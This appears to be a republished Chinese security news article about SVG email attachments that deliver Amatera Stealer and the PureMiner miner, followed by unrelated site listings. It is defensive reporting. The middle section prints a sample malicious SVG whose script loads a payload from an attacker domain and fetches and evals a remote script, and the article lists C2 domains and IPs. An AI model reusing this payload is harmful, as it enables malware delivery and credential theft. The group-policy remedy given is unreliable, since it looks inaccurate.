当“图片”会执行代码:SVG钓鱼载荷引爆新型供应链攻击,Amatera窃密与PureMiner挖矿暗流涌动

一、一封“发票图”,竟成远程控制入口?

2025年秋,欧洲多家中小企业财务人员陆续收到一封看似普通的邮件:“附件为贵司最新账单,请查收。”随信附带一个名为 invoice_OCT2025.svg 的文件。用户双击打开后,屏幕上只显示一张简洁的矢量发票图——毫无异常。

然而,就在图像加载完成的瞬间,后台已悄然执行一段嵌入式JavaScript代码,从境外服务器下载名为 Amatera Stealer 的恶意程序。数分钟后,受害者的浏览器Cookie、加密钱包私钥、企业凭证被批量上传;与此同时,另一模块 PureMiner 开始在后台调用CPU资源,为攻击者挖掘门罗币(Monero)。

这并非科幻桥段,而是FortiGuard Labs与WhoisXML API联合披露的一起真实攻击事件。根据CircleID于2025年10月30日发布的深度分析报告,攻击者正大规模利用 SVG(可缩放矢量图形)文件作为初始投递载体,绕过传统邮件网关对“图片”的信任假设,实现高隐蔽性入侵。

更令人警惕的是,整个攻击基础设施通过多层DNS别名链、公共云CDN伪装和快变域名(Fast-Flux)技术隐藏真实C2(命令与控制)服务器,使得基于IP或域名的静态封堵几乎失效。

“我们过去总说‘不要点.exe’,但现在连.svg都可能执行代码。”公共互联网反网络钓鱼工作组技术专家芦笛在接受本报采访时直言,“攻击者正在把‘无害格式’变成武器,而我们的防御体系还没跟上。”

二、SVG为何能“执行代码”?技术原理深度解析

要理解此次攻击的颠覆性,必须先厘清SVG的本质。

SVG(Scalable Vector Graphics)是一种基于XML的矢量图像格式,广泛用于网页图标、数据可视化和响应式设计。但与PNG、JPEG等纯栅格图像不同,SVG支持内嵌JavaScript、CSS甚至外部资源引用。这意味着,一个“.svg”文件本质上是一个可执行的微型网页。

攻击载荷构造示例:

以下是一个简化版的恶意SVG文件结构(仅用于教学演示):

<?xml version="1.0" encoding="UTF-8"?>

<svg xmlns="http://www.w3.org/2000/svg" width="500" height="300">

<title>Invoice OCT2025</title>

<rect x="10" y="10" width="480" height="280" fill="#f0f0f0"/>

<text x="50" y="50" font-size="18">Invoice #INV-202510</text>

<!-- 恶意脚本隐藏在看似无害的标签中 -->

<script type="application/ecmascript"><![CDATA[

(function() {

// 动态构建下载URL

const domain = "ms-team-ping2[.]com";

const payload = "/loader.bin";

// 创建隐藏iframe触发下载

const iframe = document.createElement('iframe');

iframe.style.display = 'none';

iframe.src = "https://" + domain + payload;

document.body.appendChild(iframe);

// 或通过fetch下载并执行

fetch("https://" + domain + "/stage2.js")

.then(r => r.text())

.then(eval); // 危险!但有效

})();

]]></script>

</svg>

当用户在浏览器或支持脚本渲染的SVG查看器中打开此文件时,内嵌的JavaScript会立即执行,从远程服务器拉取第二阶段载荷(如Amatera Stealer)。

注:Windows默认使用Internet Explorer引擎渲染本地SVG文件,若未禁用ActiveX或脚本执行,极易中招。

为何能绕过传统防御?

扩展名欺骗:邮件网关通常将.svg归类为“安全图像”,不进行沙箱 detonation;

MIME类型混淆:即使服务器返回Content-Type: image/svg+xml,多数安全设备不会解析其内部脚本;

无文件落地:部分攻击采用内存加载(in-memory execution),避免写入磁盘,规避EDR检测。

三、攻击链条全景:从SVG到窃密与挖矿

根据CircleID报告及FortiGuard Labs的IoC(Indicators of Compromise)分析,此次攻击分为三个阶段:

阶段一:初始投递(Initial Delivery)

攻击者通过钓鱼邮件发送SVG附件,主题多为“发票”“合同”“物流通知”;

文件名刻意模仿业务场景(如 shipping_notice_7891.svg);

部分变种将SVG托管于GitHub Gist、Pastebin或Google Drive,通过短链接诱导点击。

阶段二:载荷下载与执行(Payload Execution)

SVG内嵌脚本连接至第一跳C2域名(如 ms-team-ping2[.]com);

下载轻量级下载器(Downloader),负责获取主载荷;

主载荷包括:

Amatera Stealer:专用于窃取浏览器Cookie、保存的密码、加密货币钱包(如MetaMask)、Discord令牌等;

PureMiner:基于XMRig的定制挖矿程序,具备进程隐藏、CPU占用动态调节、反调试功能。

阶段三:C2通信与持久化(C2 & Persistence)

C2基础设施采用多层DNS伪装:

域名注册于NiceNIC、Web Commerce等宽松注册商;

使用CNAME链指向Cloudflare、Amazon CloudFront等公共CDN;

真实服务器IP隐藏在CDN背后,难以溯源。

DNS查询数据显示,部分域名在被标记为恶意前 14–105天 已出现在威胁情报Feed中,表明攻击者提前“养域”以提升信誉。

例如,域名 ms-team-ping2[.]com 的DNS解析链如下:

ms-team-ping2.com

→ CNAME → cdn-assets[.]cloudflaressl.com

→ A → 104.21.63.189 (Cloudflare边缘节点)

→ 实际回源至 109.176.207.110(荷兰Nasstar托管)

这种架构使得基于IP的封堵无效,而基于域名的封堵又因快变策略(每日轮换子域)而滞后。

四、国内启示:中国企业的“图片信任”同样危险

尽管此次攻击主要针对欧美目标,但其手法对中国市场极具警示意义。

首先,国内企业普遍依赖邮件处理发票、合同、物流单据。财务、采购、行政人员每日接收大量附件,对“.svg”虽不常见,但对“.html”“.htm”甚至“.url”快捷方式的警惕性仍不足。一旦攻击者将SVG替换为类似格式,风险极高。

其次,国内大量中小企业使用老旧Windows系统(如Win7/Win10未打补丁),默认SVG查看器仍启用脚本执行。2025年已有安全厂商捕获到仿冒“税务通知.svg”的样本,试图下载远控木马。

芦笛指出:“中国用户对‘官方文件’的信任度极高,尤其来自‘税务局’‘银行’‘物流公司’的通知。攻击者只需稍作本地化,就能复刻这套攻击链。”

更值得警惕的是,PureMiner类挖矿程序在国内云服务器环境中尤为猖獗。攻击者常通过弱口令爆破或未修复漏洞入侵云主机,部署挖矿脚本。若结合SVG钓鱼作为初始入口,可形成“端点→服务器”的横向移动链条。

五、防御升级:从“信任图片”到“隔离执行”

面对SVG钓鱼的新威胁,专家建议采取多层次防御策略:

1. 邮件与代理侧:主动剥离与渲染隔离

强制将SVG转为静态PNG:在邮件网关或安全邮件平台(如Mimecast、Proofpoint)中配置策略,对所有SVG附件进行无脚本渲染,并转换为不可执行的栅格图像;

启用浏览器隔离(Browser Isolation):对所有来自邮件、聊天工具的SVG链接,在远程沙箱中打开,本地仅接收像素流;

MIME类型严格校验:拒绝image/svg+xml类型的直接下载,或强制以文本方式呈现。

2. 终端侧:禁用SVG脚本执行

在Windows组策略中禁用SVG的Active Scripting:

计算机配置 → 管理模板 → Windows组件 → Internet Explorer → 安全功能 → 限制ActiveX安装 → 启用

推广使用无脚本SVG查看器(如Inkscape、专用PDF转换工具);

对普通用户,建议将.svg文件关联至记事本,避免双击执行。

3. DNS层:启发式检测与被动追踪

部署支持DNS流量分析的安全平台(如Cisco Umbrella、Palo Alto DNS Security),识别以下异常:

高熵子域(如 x7k9q2.ms-team-ping2.com);

多层CNAME链指向公共CDN;

域名生命周期极短(注册<7天即活跃)。

利用被动DNS(Passive DNS) 数据库(如WhoisXML API、SecurityTrails)追踪域名历史解析记录,发现潜在C2基础设施。

例如,通过Python脚本查询可疑域名的CNAME链:

import dns.resolver

def trace_cname_chain(domain):

chain = []

current = domain

while True:

try:

answers = dns.resolver.resolve(current, 'CNAME')

cname = str(answers[0].target).rstrip('.')

chain.append(cname)

if cname == current: # 避免循环

break

current = cname

except dns.resolver.NoAnswer:

break

except Exception as e:

print(f"Error resolving {current}: {e}")

break

return chain

# 示例:追踪 ms-team-ping2.com

print(trace_cname_chain("ms-team-ping2.com"))

# 输出:['cdn-assets.cloudflaressl.com']

4. 终端检测:行为监控与内存扫描

部署支持无文件攻击检测的EDR(如CrowdStrike、SentinelOne),监控以下行为:

非浏览器进程加载JavaScript引擎(如jscript.dll);

svchost.exe或dllhost.exe发起异常外联;

内存中出现XMRig特征字符串(如“moneropool.com”)。

对Amatera Stealer,重点监控对 %LocalAppData%\Google\Chrome\User Data 等路径的非常规访问。

六、结语:安全不能止步于“看起来无害”

SVG钓鱼的兴起,标志着攻击者正系统性地利用格式信任与防御盲区。他们不再需要复杂的漏洞利用,只需一个被误认为“安全”的文件扩展名,就能打开通往企业核心资产的大门。

这不仅是技术挑战,更是安全思维的转型契机。正如芦笛所言:“未来的安全,不是判断‘它是不是病毒’,而是问‘它为什么需要执行代码?’”

在万物皆可脚本化的时代,我们必须重新定义“可信内容”。每一次双击,都应是一次有意识的安全决策——因为最危险的攻击,往往披着最无害的外衣。

编辑:芦笛(公共互联网反网络钓鱼工作组)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1177725.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【中国科学院光电研究所-张建林组-AAAI26】追踪不稳定目标:基于外观引导的运动建模在无人机拍摄视频中实现稳健的多目标跟踪

文章&#xff1a;Tracking the Unstable: Appearance-Guided Motion Modeling for Robust Multi-Object Tracking in UAV-Captured Videos代码&#xff1a;暂无单位&#xff1a;中国科学院光电研究所一、问题背景&#xff1a;无人机跟踪为啥总“掉链子”&#xff1f;无人机拍摄…

vue3+python +django 的茶文化交流平台

目录茶文化交流平台摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;茶文化交流平台摘要 茶文化交流平台基于Vue3、Python和Django技术栈开发&#xff0c;旨在为茶文化爱好者提供一个集知…

Java微服务连接同个MySQL实例报错“Too many connections”

多个微服务连接同个Mysql实例,结合数据库本身的连接池,就容易报错 Too many connections 即当前所有可用的连接都已被使用,新的客户端连接无法建立。 首先你要看两点: (1)SHOW VARIABLES LIKE max_connections; (2)有多少微服务节点以及每个微服务节点数据库连接池…

2026年市场上评价好的船用减压阀公司口碑排行,船用疏水阀/船舶配件/船用舷侧阀/船用安全阀,船用减压阀直销厂家口碑排行 - 品牌推荐师

评测背景 随着全球航运业向绿色化、智能化转型,船用减压阀作为船舶流体控制系统的核心部件,其性能稳定性、环境适应性及合规性直接影响船舶运行安全与能效。市场对高可靠性、定制化及全生命周期服务的需求日益凸显。…

2104.25万,深圳市气象局数字孪生(CIM)创新应用项目

2026 年 1 月 13 日&#xff0c; 深圳市气象局深圳市气象局数字孪生&#xff08;CIM&#xff09;创新应用项目意向公开。一、项目信息&#xff1a;项目名称&#xff1a;深圳市气象局数字孪生&#xff08;CIM&#xff09;创新应用项目预算金额&#xff1a;2104.25万元采购人&…

2026年市场评价好的实心钢棒定制加工怎么选择,不锈钢带/不锈钢冷轧板/不锈钢天沟,实心钢棒生产厂家怎么选择 - 品牌推荐师

实心钢棒市场格局与采购趋势分析 在制造业高端化转型背景下,实心钢棒作为工业基础材料,其定制加工需求持续攀升。从船舶制造到高铁基建,从高空作业设备到精密机械,下游行业对材料强度、耐腐蚀性及加工精度提出更高…

spring webflux响应式编程学习

spring webflux响应式编程学习函数式编程的优点: 例子:当我们有大量的数据要进行比较的时候,并且我们要求出里面的最小值,这个时候我们就需要使用线程池的技术,将数据拆分成几份,然后放到线程池中,再进行比较,…

1.17-1.23日博客之星投票,每日可投

帮忙给100号FE_Jinger投上一票 投票地址&#xff1a;100号FE_Jinger 记录以下个人第一次&#xff08;或许是最后一次&#xff09;入围Top300,无论结果如何&#xff0c;已经很满足了 也是对自己去年2025年创作一年的肯定与鼓励 FE_Jinger加油&#xff01;战斗战斗&#xff01; 朋…

【信号去噪】基于雪橇犬算法SDO优化变分模态分解SDO-VMD数字信号去噪(优化K值 alpha值 综合指标 适应度函数包络熵)附Matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。&#x1f34e; 往期回顾关注个人主页&#xff1a;Matlab科研工作室&#x1f447; 关注我领取海量matlab电子书和数学建模资料 &#x1f34…

【含文档+PPT+源码】基于SpringBoot+Vue的智能机场交通管理系统

项目介绍本课程演示的是一款 基于SpringBootVue的智能机场交通管理系统&#xff0c;主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。1.包含&#xff1a;项目源码、项目文档、数据库脚本、软件工具等所有资料2.带你从零开始部署运行本套系统3.该项…

AI Coding学习——dw|ali(持续更新)

dw技术文章《Cursor 在前端需求开发工作流中的应用》&#xff0c;并从AI Coding小白和前端开发者两个角度&#xff0c;梳理出一套清晰、实用的AI辅助开发工作流。 得物 一、核心转变&#xff1a;从“魔法许愿机”到“超级导航仪” 许多开发者&#xff08;尤其是AI新手&#xf…

【语音识别】哼唱识别系统附Matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;擅长数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。&#x1f34e; 往期回顾关注个人主页&#xff1a;Matlab科研工作室&#x1f447; 关注我领取海量matlab电子书和数学建模资料 &#x1f34…

深度洞察与未来前瞻:医学影像自动诊断系统行业分析 (2025年总结版.上) - 实践

深度洞察与未来前瞻:医学影像自动诊断系统行业分析 (2025年总结版.上) - 实践2026-01-18 09:44 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow…

2026年国产时序数据库盘点:格局嬗变下的多模态融合新锐

2026年国产时序数据库盘点&#xff1a;格局嬗变下的多模态融合新锐摘要&#xff1a;进入2026年&#xff0c;在“数字中国”与工业物联网浪潮的强劲推动下&#xff0c;国产时序数据库市场持续繁荣&#xff0c;竞争格局日趋清晰。本文将对当前主流的国产时序数据库进行梳理盘点&a…

口碑引领方向:2026柠檬酸颗粒污泥直销厂家优选,国内柠檬酸颗粒污泥供应商口碑排行技术实力与市场口碑领航者 - 品牌推荐师

行业背景与榜单价值 随着环保政策持续收紧及工业废水处理需求激增,柠檬酸颗粒污泥作为高效厌氧生物载体,在制药、化工、造纸等高污染行业的应用价值日益凸显。然而,市场上厂家技术水平参差不齐,产品质量差异显著,…

贴广告的ChatGPT,一夜之间让全球网友破了防,未来会不会使用之前先刷30秒广告?

编辑&#xff5c;泽南、杨文这一天终于还是来了。周六凌晨&#xff0c;OpenAI 的一则公告引起轩然大波&#xff1a;他们计划在 ChatGPT 里加广告了。对此&#xff0c;网友们感到很受伤。有人表示&#xff0c;现在大家用大模型的一个重要原因就是能够避免广告&#xff0c;更好地…

2026年南京、镇江靠谱的阁楼货架厂家厂家排名 - 工业品牌热点

2026年实体产业仓储升级需求爆发,智能仓储设备已成为企业提升空间利用率、优化作业流程的核心支撑。无论是解决垂直空间浪费的阁楼货架、适配中小件存储的中型货架,还是承载重型货物的钢平台货架,优质厂家的产品实力…

基于VUE的残疾人就业系统[VUE]-计算机毕业设计源码+LW文档

摘要&#xff1a;残疾人就业是社会公平与和谐发展的重要体现&#xff0c;然而当前残疾人就业面临着信息不对称、就业渠道有限等诸多问题。本文旨在设计并实现一个基于VUE的残疾人就业系统&#xff0c;以改善这一现状。该系统采用前后端分离架构&#xff0c;前端运用VUE框架及相…

最基础数据的视频数据获取方法-轮廓及空间信息

先把这条“轮廓采集”链路从头到尾像把电路板翻过来查走线一样,梳一遍:输入是什么,在哪一步融合,产出哪些东西,最后怎么变成 类型_轮廓编码(VecIU64)。(主要在 D455相机类.ixx 这条链)。 0. 先定一句“口径” 这套实现里,“彩色为主、深度为辅”的真实含义更像: 深度…

基于VUE的宠物商城管理系统[VUE]-计算机毕业设计源码+LW文档

摘要&#xff1a;随着宠物市场的不断扩大和电子商务的迅速发展&#xff0c;宠物商城管理系统具有重要的商业价值和应用前景。本文介绍了一个基于VUE框架的宠物商城管理系统的设计与实现过程。系统采用了前后端分离的架构&#xff0c;前端使用VUE相关技术实现高效的交互界面&…